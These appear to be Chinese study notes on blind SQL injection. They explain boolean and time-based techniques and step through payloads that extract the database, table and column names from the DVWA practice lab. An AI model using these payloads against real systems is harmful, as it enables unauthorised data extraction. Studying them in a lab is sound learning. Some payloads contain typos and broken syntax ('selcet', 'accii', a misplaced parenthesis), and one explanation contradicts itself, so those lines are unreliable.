盲注
1、定义:
注入的过程中,不提示详细的错误信息,给的提示用户不存在,找不到该文件等等,没有具体内容。
猜解获得相应的信息
2、分类:
布尔盲注:页面返回的信息类似于True或False,存在不存在,有无,对错。通过这两种状态,判断输入的SQL是否正确
exists missing
时间盲注:sleep()函数来改变返回的时间值,比如:如果出现指定延时,表示当前构造的SQL语句正确,否则,错误。
错误盲注:通过特定函数使用服务器返回错误信息显示在页面中,获取相关数据
3、常用MySQL函数
(1)length(str) 获取字符串str的长度
获取数据库名的长度
length(database())
(2)substr(str,pos,len) str:被截取的字符串,pos:开始的位置,len:截取长度
apple ----------pl 截取
截取str的第一个位置开始的前两个字符
substr(str,1,2)
截取str的,从1个位置开始,往后的全部字符
substr(str,1)
(3)ascii(str) 获得字符串的ascii值
ascii(A)-------------值65
str字符串,获得第5个字符的ascii码值
ascii(substr(str,5,1))
substr(str,1,1) substr(str,2,1)
(4)count(col) 获取数据库中有多少条记录
table_name
count(table_name) 获得table_name有多少条记录
(5)limit offset, rows--------------获得offset+1往后rows行
select * from talbeName limit 0,1 ------------获得数据表中的第一行数据
select * from tableName limit 1,5 -------------获得数据表中的第2行-第6行数据
(6)sleep(n) SQL语句被强制停留n秒
sleep(5)--------停止5秒
(7)if(条件,语句1,语句2) ------------如果满足条件,则执行语句1,否则执行语句2
数据库名的长度为5,强制停留3秒,否则返回1
if(length(database()=5),sleep(3),1)
流程
1、判断注入点
判断存在SQL注入
2、注入类型
构造SQL语句,判断字符型还是数字型
构造SQL语句:
如果是字符型:应该是什么结果,实际又是什么结果,一致就是字符型,不一致,假设不成立
后端存在‘ ’,1‘ and 1=1#', 实际上查询字符id=‘1’,存在。实际结果也是存在,
如果是数字型:应该是什么结果,实际又是什么结果,一致就是字符型,不一致,假设不成立
1‘ and 1=1#,报错,实际没有报错,与假设不一致,所以不是数字型
字符型
数据库dvwa中,获得第2张表users中字段
3、获得数据库名
基本思路:先获得数据库名长度,再去一一获得它的每个字符(猜解法),比对ascii值
需要length(),substr(),ascii()
(1)判断长度
1' and length(database())=1# ----------不存在,长度不是1
1' and length(database())=2# -------------
1' and length(database())=3#
1' and length(database())=4#----------存在,长度4
1' and length(database())<5#-----------存在
1' and length(database())>5#----------不存在
1' and length(database())>2#--------存在
1' and length(database())<2#-----------不存在
(2)猜解每个字符
获取第一个字符:1' and ascii(substr(database(),1,1))=100# ----第一个字符为d
获取第二个字符:1' and ascii(substr(database(),2,1))=118#--------第二个字符为v
....
获得数据库名为dvwa
4、获得数据表名
(1)获取数据表的个数
1’ and 1=1
1’ and 2>1
输入端:1‘ and table_schema=dvwa的数据库中有多少行 >或<或= # --------------存在
1' and (select count(table_name) from information_schema.tables where table_schema=‘dvwa’)<10#
1' and (select count(table_name) from information_schema.tables where table_schema=database())<5#
1' and (select count(table_name) from information_schema.tables where table_schema=database())<3#
1' and (select count(table_name) from information_schema.tables where table_schema=database())<1#-----------得出有两张数据表
1‘ and select table_name from information_schema.tables where count(table_name)=’2
简化:
1‘ and 1-----
后端:‘1’ and select table_name from information_schema.tables where count(table_name)=‘2’
结论:获得数据表个数2
(2)获得第2个数据表记录
selcet table_name from information_schema.tables where table_schema ='dvwa' limit 1,1
(3)获得第2个数据表名的完整字符串
substr((selcet table_name from information_schema.tables where table_schema ='dvwa' limit 1,1),1)
(4)获取第2个数据表名字符串的长度
length(substr((selcet table_name from information_schema.tables where table_schema ='dvwa' limit 1,1),1))
1‘ and (length(substr((selcet table_name from information_schema.tables where table_schema ='dvwa' limit 1,1),1)))=5#---------------成立,得到有5个字符
(5)猜解每个字符的ascii值
1’ and accii(substr((selcet table_name from information_schema.tables where table_schema ='dvwa' limit 1,1),1,1))=117#----------得到第一个字符是u
5、users,获得user字段
(1)猜解users表中有多少个字段
(2)猜解每个字段的长度
(3)猜解字段的每个字符
6、获取user字段下面的数据admin
(1)猜解user下面有多少条记录
(2)猜解每条记录的数据长度
(3)猜解每条记录中数据的每个字符